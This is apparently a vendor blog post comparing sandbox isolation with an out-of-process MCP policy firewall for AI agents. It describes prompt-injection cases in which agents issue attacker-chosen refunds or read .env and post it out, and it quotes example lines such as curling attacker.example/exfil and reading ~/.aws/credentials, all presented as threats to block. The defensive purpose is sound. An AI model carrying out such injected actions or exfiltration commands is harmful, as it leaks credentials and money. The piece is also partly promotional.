Skip to content
Deep Dive

MCP Firewalls and Runtime Hardening: OpenShell vs. Cordum (2026)

Runtime isolation and out-of-process policy decide different attacks. The honest answer is you want both — and the layering matters.

Deep Dive14 min readMay 2026

Short answer for 2026

Agent security has shifted from prompt-output safety to action-level safety. The category of attacks that hurts you in production is no longer the model saying the wrong thing; it is the agent doing the wrong thing. MCP — the Model Context Protocol that became the de facto wire format for agent tool use in late 2025 — is the action surface. Every MCP-speaking agent is, by definition, a tool-calling system, and every tool call is a potential side effect on a system your business cares about.

Two hardening strategies have emerged in response. The first is runtime isolation: sandbox the agent process so even a fully-compromised agent cannot reach the host. Projects in this direction — OpenShell, gVisor-style sandboxes for agent workers, Firecracker microVMs for code-execution agents — constrain what the process can do at the operating-system layer. The second is the out-of-process MCP firewall: every MCP tool call is intercepted by an in-process PEP, serialized, and sent to a policy decision engine running in a separate trust boundary. The decision — ALLOW, DENY, REQUIRE_APPROVAL, ALLOW_WITH_CONSTRAINTS — is rendered, signed, and logged before the tool call leaves the agent.

These are not competing approaches. They defend different threats. Runtime isolation defends host integrity: it stops a compromised agent from reading /etc/passwd, exfiltrating credentials, or shelling out to a destructive binary. An MCP firewall defends business logic: it stops a prompt-injected agent from calling a permitted refund tool with a malicious amount, or a supply-chain-compromised MCP server from triggering cross-tenant action. The honest layering is policy first (decide whether the action is attempted) and isolation second (contain the blast radius of whatever was allowed).

This post compares the two layers on what each actually defends, with concrete threats and concrete defenses. It is written from the position that pure sandboxing — without a policy decision in front of it — leaves a real hole, and that any production deployment of an MCP-speaking agent needs both layers in the right order.

TL;DR
  • -MCP turned every agent into a tool-calling system. Tool calls are the action that hurts you.
  • -OpenShell-style runtime hardening isolates: the agent runs in a sandbox so its actions can't break the host.
  • -Cordum's MCP firewall decides: every tool call is approved or denied by an out-of-process policy service before it leaves the agent.
  • -Isolation defends host integrity. Policy enforcement defends business logic. The threats they defend do not overlap as much as the marketing suggests.
  • -Production hardening needs both. The order is: policy first (pre-dispatch), isolation second (defense in depth).
  • -Pure sandboxing without a policy decision allows any in-sandbox action — including ones that shouldn't have been allowed at all.
  • -For coding agents — Claude Code, Cursor, Devin — isolation is hard (the developer needs filesystem access). Policy is the more practical primary control.
Scope

Threat model for MCP-based agent execution. Compares hardening layers, not specific OpenShell features. Engineers and security architects evaluating how to harden production agent workloads should find a usable map of which layer defends which threat. For the architectural argument about where the policy decision should live, see in-process vs out-of-process AI agent governance.

Isolation Boundary

OpenShell-style sandboxes constrain what the agent process can do to the host: filesystem, network, syscalls, ephemeral state. Defends host integrity.

Policy Boundary

Cordum's MCP firewall decides every tool call from outside the agent process. ALLOW / DENY / REQUIRE_APPROVAL / ALLOW_WITH_CONSTRAINTS. Defends business logic.

Defense in Depth

Pre-dispatch policy decides whether the action is attempted; isolation contains the blast radius if it is. The two layers defend different attacks — production hardening wants both.

MCP-era threat model

The threat model for an MCP-speaking agent looks nothing like the threat model for a chat completion. Three concrete failure modes, each of which has shown up in production incidents over the last twelve months, illustrate the shift.

Prompt-injection-driven destructive tool calls. An attacker plants instructions in content the agent will read — an issue comment, a customer message, a document the agent ingests — that cause the agent to call a tool with an unintended argument. The classic case is the support agent that reads a poisoned ticket and then calls refund.process with the attacker's amount and account. The agent did exactly what it was permitted to do; the tool exists, the agent has access, the call succeeds. The defense for this is not sandboxing — the call is in-bounds for the sandbox — it is a policy decision that inspects the arguments and decides whether this specific call is allowed.

Supply-chain compromise of an MCP server. An MCP server the agent connects to is compromised — through a malicious npm dependency, a stolen token, or a maintainer takeover. The compromised server can now respond to the agent with arbitrary content, including content that triggers further tool calls. The agent has no native defense; from its perspective the responses are legitimate. The defense here is two-layered: output safety policy on tool responses, plus runtime isolation that limits what the agent can do with whatever the compromised tool returns.

Credential exfiltration via "innocent" tools. A coding agent with read access to the developer's filesystem and a permitted http.fetch MCP tool reads .env and POSTs the contents to an attacker-controlled URL. Every individual permission is reasonable in isolation. The composition is the attack. The defense here is policy: deny http.fetch to non-allowlisted destinations, or deny it entirely when the arguments include content that matches credential patterns. A sandbox that allows network egress will not catch this; only the policy layer sees the argument.

How OpenShell-style runtime isolation works

OpenShell and the broader family of agent-sandboxing tools — gVisor-isolated agent workers, Firecracker microVMs for code-execution agents, Bubblewrap-based isolation in some self-hosted setups — apply the same architectural pattern: confine the agent process so its actions cannot reach beyond a tightly-scoped boundary at the operating-system level.

In practice that boundary is built from a few primitives. Filesystem isolation via bind mounts or overlay filesystems gives the agent a private root with only the files it needs — no host /etc, no developer home directory, no SSH keys, no credential files. Network isolation via network namespaces denies egress by default and allows it only to explicitly whitelisted destinations; the agent cannot reach metadata services, internal APIs, or the open internet without explicit allowance. Syscall restriction via seccomp profiles or capability dropping limits what the kernel will accept from the process — no ptrace, no mount, no privileged operations. Ephemeral state ensures the sandbox is reset between runs so persistence across sessions is not available even if the agent is induced to leave artifacts behind.

The strength of this model is that it stops a category of attacks that nothing else stops. A sandboxed agent that gets prompt-injected into running cat ~/.aws/credentials reads an empty filesystem. A sandboxed agent that gets prompt-injected into curl http://attacker.example/exfil hits a denied network namespace. A sandboxed agent whose MCP server returns a payload designed to escalate into the host runs into syscall restrictions. These are real defenses against real attacks, and any agent that runs untrusted code at runtime — code-execution agents, sandbox-tool agents, agents that exec arbitrary commands — should be running in something OpenShell-shaped.

The limitation of this model is structural: the sandbox cannot decide whether an in-sandbox action should have been allowed. A sandboxed agent with a permitted stripe.refund MCP tool and a prompt-injection telling it to refund $50,000 to an attacker's card will issue that refund. The sandbox sees a permitted tool call to a permitted destination. The damage happens entirely within bounds. The sandbox is not the layer that defends this.

How Cordum's MCP firewall works

An MCP firewall is the layer that does decide whether an in-bounds action should have been allowed. In Cordum's implementation, every MCP tool call passes through a Policy Enforcement Point inside the agent — a small integration on the agent's MCP client that intercepts each invocation before the transport carries it. The PEP serializes the full request (tool name, arguments, agent identity, request context, tenant, environment) and dispatches it over mTLS-protected gRPC to the Safety Kernel, which runs as a separate service with its own identity and its own audit store.

The Safety Kernel — the PDP — evaluates the request against the active policy set and returns one of four decisions. ALLOW dispatches the call. DENY blocks it and returns a typed error to the agent. REQUIRE_APPROVAL suspends the call, opens a human-in-the-loop approval request to the configured approver pool, and resumes when the approval (or rejection) is signed back. ALLOW_WITH_CONSTRAINTS returns a modified version of the request — arguments narrowed, recipients restricted, payload filtered — that the agent must use instead.

Every decision is signed by the Safety Kernel's identity and written to an audit store the agent process cannot reach. This is the property that makes the audit trail attestable: the existence and content of the decision does not depend on the agent reporting honestly. The decision logs continue even if the agent is compromised, because the agent did not produce them.

The policy itself is expressed declaratively. A minimal but representative example:

# cordum/policy/mcp_firewall.yaml
rules:
  - id: deny-fs-write-prod
    when:
      tool: filesystem.write
      environment: production
    decision: DENY

  - id: require-approval-refund-large
    when:
      tool: stripe.refund
      args.amount_cents: { gt: 500000 }
    decision: REQUIRE_APPROVAL
    approvers: [ "finance-oncall" ]

  - id: constrain-shell-exec
    when:
      tool: shell.exec
    decision: ALLOW_WITH_CONSTRAINTS
    constraints:
      - "args.command in ['ls', 'cat', 'grep']"

The critical engineering property is that the firewall inspects both the tool name and the arguments. A firewall that only sees the tool name — "agent called stripe.refund" — is argument-blind, and an argument-blind firewall is trivially evaded the moment a permitted tool can be called with an unsafe argument. Argument inspection is not optional.

What runtime isolation defends

Runtime isolation is the layer that defends host integrity. The threats it stops cleanly are the ones where the agent process tries to reach beyond its assigned boundary at the OS level.

ThreatOpenShell-style isolationCordum MCP firewall
Agent reads host /etc/passwd or developer SSH keysBlocks (no host filesystem in sandbox)Doesn't block — not its layer
Agent shells out to a destructive binary (rm, dd, mkfs)Blocks (capability sandbox restricts syscalls)Blocks if policy denies shell.exec or the command
Sandbox escape via kernel exploitMitigated (depth depends on isolation primitive)N/A — sits at a different layer
Prompt-injection-driven 'rm -rf /'Blocks if no shell in sandboxBlocks at policy layer before the syscall is attempted
Lateral movement via shared Unix socket on the hostBlocks (sockets not mounted into sandbox)Doesn't see it

The pattern in this table is consistent: where the attack is "agent tries to interact with the host in a way it shouldn't," isolation is the defense and the policy firewall has either no view of it or only an indirect one. Sandbox escape via kernel exploit is the failure mode of last resort — when isolation is the only thing standing between the agent and host compromise, the strength of the isolation primitive matters enormously. gVisor and Firecracker are not equivalent to a chroot. For high-stakes deployments, the isolation primitive deserves the same scrutiny as the firewall policy.

What policy enforcement defends

The MCP firewall is the layer that defends business logic. The threats it stops cleanly are the ones where the agent takes an action that is in-bounds for the sandbox but wrong for the business.

ThreatOpenShell-style isolationCordum MCP firewall
Approval-required action taken without approvalAllows (sandbox doesn't decide on actions)Denies or routes to REQUIRE_APPROVAL
Cross-tenant data access via tool callAllows (same sandbox sees both tenants)Denies via tenant overlay policy
Compromised MCP server returns malicious responsesDoesn't see it (sandbox is upstream of the tool call)Output safety policy can block on response payload
Business-rule violation (refund > $5k without two-person)AllowsDenies via business-logic policy
Argument-level injection (right tool, wrong argument)AllowsDenies if firewall inspects arguments

These are the attacks the new agent governance category was built to address. Argument-level injection — right tool, wrong argument — is the dominant failure mode of MCP-speaking agents in production. Cross-tenant action leakage is the dominant failure mode of multi-tenant agent deployments. Approval-required actions taken without approval are the dominant failure mode of regulated workflows. None of these are sandbox-shaped problems. The sandbox sees nothing wrong because there is nothing wrong at the OS level.

Layering the two

The honest production pattern is policy first, isolation second. The order matters and the reason is structural.

Policy first. Pre-dispatch policy decides whether the action is even attempted. If the firewall denies the tool call, no syscall is made, no network packet leaves the agent, no MCP server is asked to act. The cheapest failure mode is the one that never happened. Pre-dispatch enforcement also keeps the audit trail clean: the decision is logged regardless of outcome, the attack is recorded as a denied attempt rather than as a successful action that the sandbox happened to contain.

Isolation second. For every tool call the firewall does allow, the question becomes: what is the blast radius if this call goes wrong? Isolation is what bounds that blast radius. A permitted shell.exec call inside a capability-restricted sandbox can do less damage than the same call on the host. A permitted http.fetch call from a network namespace with restricted egress can exfiltrate less than the same call with unrestricted networking. Isolation is the depth that catches what policy did not foresee.

The reverse order — isolation only, no policy — leaves a clearly described hole. Every action permitted inside the sandbox happens. A prompt-injected agent calling a permitted tool with a malicious argument runs uncontested. A supply-chain-compromised MCP server returning content that triggers further tool calls runs uncontested. The sandbox sees nothing wrong because, at the OS level, nothing is wrong. This is the gap that the "just sandbox everything" security posture leaves open.

The reverse-reverse — policy only, no isolation — is closer to acceptable but still has a gap. A compromised agent that goes outside the MCP client to invoke system binaries directly bypasses the firewall (the firewall is in the MCP client; the system binary is not). For agents that exec arbitrary commands, isolation is required regardless of how good the policy layer is.

The code agency problem

Coding agents — Claude Code, Cursor, Devin, GitHub Copilot Workspace, Aider, the new wave of background coding agents from every major lab — are the most security-difficult category of MCP-speaking agent in production today. The term "code agency" is sometimes used to describe what makes them hard: they run on developer machines with broad credentials and broad filesystem access, and they need both in order to do useful work.

Sandboxing is awkward here. The developer's working directory is not incidental to the agent's job — it is the agent's job. A coding agent confined to a private filesystem with no access to the developer's repository cannot help the developer. Confining the agent to a sandbox that bind-mounts the developer's repository writeable defeats much of the point of isolation: any destructive action on the repository — git push --force, rm -rf src, git reset --hard — is in-bounds for the sandbox because the repository is in-bounds for the sandbox. The same applies to credentials: the developer's shell environment has credentials in it because the developer needs them, and the agent inherits them because the agent needs them.

For coding agents, policy enforcement is the more practical primary control. The threats that matter — destructive git operations without explicit confirmation, package installs from untrusted registries, credential reads followed by network egress, shell.exec of commands that match dangerous patterns — are all argument-level and all decidable at the policy layer. CordClaw is Cordum's coding-agent profile: an MCP firewall configuration tuned for the tool surface of the major coding agents, with a default-deny posture on the operations that have caused real incidents.

Isolation still has a role even for coding agents — running untrusted code the agent generates (a script the agent wrote, a snippet from a tutorial) inside a transient sandbox is a clear win — but it is a narrower role than the "sandbox the whole agent" pattern that works for network-service agents.

When OpenShell is the right primary control

The honest version of this comparison includes the cases where runtime isolation is the better primary control and the policy firewall is over-engineering. Three of them.

Agents that run untrusted code at runtime. Code-execution agents — agents whose job is to run arbitrary Python or shell snippets to answer a user's question — are the canonical case. The action surface is unbounded by construction; the agent will run code that did not exist when the policy was written. There is no policy you can write that decides on the safety of arbitrary code without executing it. The right primary control is to execute it in a sandbox that limits what it can do, and to throw the sandbox away afterwards. Add policy for the small number of MCP tool calls the agent makes around the code execution, but the dominant control is isolation.

Host integrity is the primary security concern. If the agent runs on shared infrastructure where the operational risk is "agent compromises the host and pivots to other tenants," isolation is the layer that defends the operational risk. Policy enforcement on the agent's tool calls is secondary to the question of whether the agent process can escape its assigned boundary. Multi-tenant agent platforms — anyone running other people's agents on their infrastructure — should be sandboxing as the primary control with policy as a useful but not central addition.

Bounded action surface, simple policy. When the agent has a small fixed set of tools and the policy is "use only these tools, do not exec anything," a sandbox that simply does not contain shell access or unexpected binaries is sufficient. Writing a policy engine for an agent that only ever calls three tools is over-engineering. Isolation with a careful tool surface is the cheaper and simpler control.

Don't pretend a Cordum-shaped problem is the only shape an agent security problem comes in. Sandboxing is the right primary control for a meaningful slice of production agent deployments, and the right secondary control for almost all of the rest.

How to evaluate an MCP firewall

Three concrete tests an evaluator can run before committing to an MCP firewall product, similar in spirit to the compromise / independent-log / identity tests used for governance evaluation more broadly.

Test 1 — The MCP server compromise test. Deploy a deliberately-malicious MCP server that returns crafted responses designed to trigger further tool calls. Observe whether the policy decisions continue unmodified — the firewall should evaluate the new tool calls the agent attempts in response to the malicious payload, and should be able to see and decide on those calls the same way it sees and decides on calls triggered by the user. A firewall whose policy decisions degrade when the MCP server is compromised is one whose trust boundary leaks through the server.

Test 2 — The out-of-process test. Ask plainly: where do the policy decisions live? Are they rendered by code running in the agent process — a Python middleware, a callback handler, a decorator? Or are they rendered by a separate service the agent calls into over a network or IPC boundary? If the decision lives in the agent process, the firewall is in-process and shares the agent's failure domain — a sufficiently bad compromise of the agent can corrupt the decision. If the decision lives in a separate process with its own identity and its own logs, the firewall is out-of-process and survives agent compromise.

Test 3 — The argument inspection test. Send the firewall a permitted tool call with a malicious argument. The canonical example: stripe.refund is a permitted tool, send it with amount_cents: 5000000000. A correctly-implemented firewall denies or escalates on the argument. An argument-blind firewall — one that decides on tool names but not contents — allows it. Argument-blind firewalls are useless against the dominant class of MCP-era attacks; this test cuts straight to whether the product is real.

For a more general framing of the out-of-process test as it applies to AI agent governance writ large, the trust-boundary argument covers the same property at the architectural level.

FAQ

Frequently Asked Questions

What is an MCP firewall?
An MCP firewall is an out-of-process policy decision point that intercepts every tool call an MCP-speaking agent attempts to make and returns ALLOW, DENY, REQUIRE_APPROVAL, or ALLOW_WITH_CONSTRAINTS before the call leaves the agent. The PEP — the enforcement hook — lives inside the agent's MCP client; the PDP — the decision engine — runs in a separate process with its own identity, its own logs, and a separate failure domain. The firewall sees both the tool name and the full argument payload, which is the critical property: a firewall that only sees tool names is argument-blind and can be trivially evaded.
Is OpenShell a firewall or a sandbox?
OpenShell-style runtime hardening is a sandbox, not a firewall. It constrains what an agent process can do — capability-restricted syscalls, no network egress by default, ephemeral filesystem, no host credential access. It does not render a policy decision about whether a specific tool call should be allowed. A sandbox prevents the agent from touching the host; a firewall prevents the agent from taking a specific business action. They defend different threats and the vocabulary matters.
Do I need both isolation and a policy firewall?
For any production deployment of an MCP-speaking agent that touches systems with real consequences, yes. Isolation alone leaves a hole: any action permitted inside the sandbox happens — including actions that policy would have denied. Policy alone leaves a hole: a compromised agent that reaches the host before the policy check can do damage the firewall never sees. The honest layering is policy first (pre-dispatch decision) and isolation second (defense in depth on whatever the policy allowed).
Where does Cordum's MCP firewall sit?
The PEP is an in-process hook inside the agent's MCP client — typically a few lines of integration code that intercept every tool invocation before the MCP transport carries it. The PEP serializes the tool call (name, arguments, agent identity, request context) and calls Cordum's Safety Kernel over mTLS-protected gRPC. The Safety Kernel — the PDP — runs as a separate service with its own identity, signs its decisions, and writes its audit trail to a store the agent process cannot reach. The decision returns to the PEP, which either dispatches the call, blocks it, or escalates for human approval.
What is 'code agency' and why does it change the threat model?
Code agency is the property of AI coding agents — Claude Code, Cursor, Devin, GitHub Copilot Workspace, and similar — that they run on developer machines with broad credentials and broad filesystem access. They are not network services running in a sandbox; they are local tools that need the developer's environment in order to do their job. Runtime isolation is awkward to apply because the developer's working directory is the point of the tool. Policy enforcement on the tool calls the coding agent makes — git pushes, package installs, shell exec, credential reads — is the more practical primary control. Cordum's coding-agent profile is CordClaw.
Can the agent bypass the Cordum MCP firewall?
A correctly integrated PEP is not a code path the agent's LLM gets to reason about. The MCP transport is wrapped — every tool call is intercepted by the integration. A compromised agent that goes outside the MCP client to make direct API calls or shell out to system binaries is no longer using MCP; that is a different attack surface and is exactly where runtime isolation earns its keep. The two layers compose: the firewall decides every MCP action; isolation contains anything the agent tries outside MCP.
Does runtime isolation help with prompt injection?
Partially. Isolation reduces the blast radius of a successful prompt injection — if the attacker convinces the agent to delete files, an empty sandboxed filesystem has nothing to delete. What isolation cannot do is prevent the agent from taking an in-bounds-but-wrong action: a prompt-injected agent calling a permitted refund tool with a malicious amount, or a prompt-injected agent emailing data to a permitted SMTP destination. Those are policy decisions, not sandbox decisions. Prompt injection is mostly a policy-layer problem with isolation as backstop.
How does this differ from Defender for AI?
Microsoft Defender for AI focuses on threat detection and posture management across AI workloads — model inventory, data flow visibility, runtime anomaly detection. It is observability and detection, not pre-dispatch enforcement. An MCP firewall renders a deterministic policy decision before each tool call; a detection product reports on suspicious behaviour after it happens. Both have a place. The MCP firewall is the inline control; Defender-class products are the out-of-band telemetry that tells you whether the inline control is working.
Last reviewed

May 15, 2026 by Maya Goldfarb, Head of Security. Sources checked: MCP specification, OpenShell project docs, Cordum Safety Kernel ADR-001. This is threat-model guidance, not a security audit.

Pre-dispatch MCP policy for production agents

Cordum's Safety Kernel runs as a separate gRPC service behind mTLS. Every MCP tool call is decided — ALLOW, DENY, REQUIRE_APPROVAL, ALLOW_WITH_CONSTRAINTS — before it leaves the agent. Argument-aware, tenant-aware, signed-decision audit trail.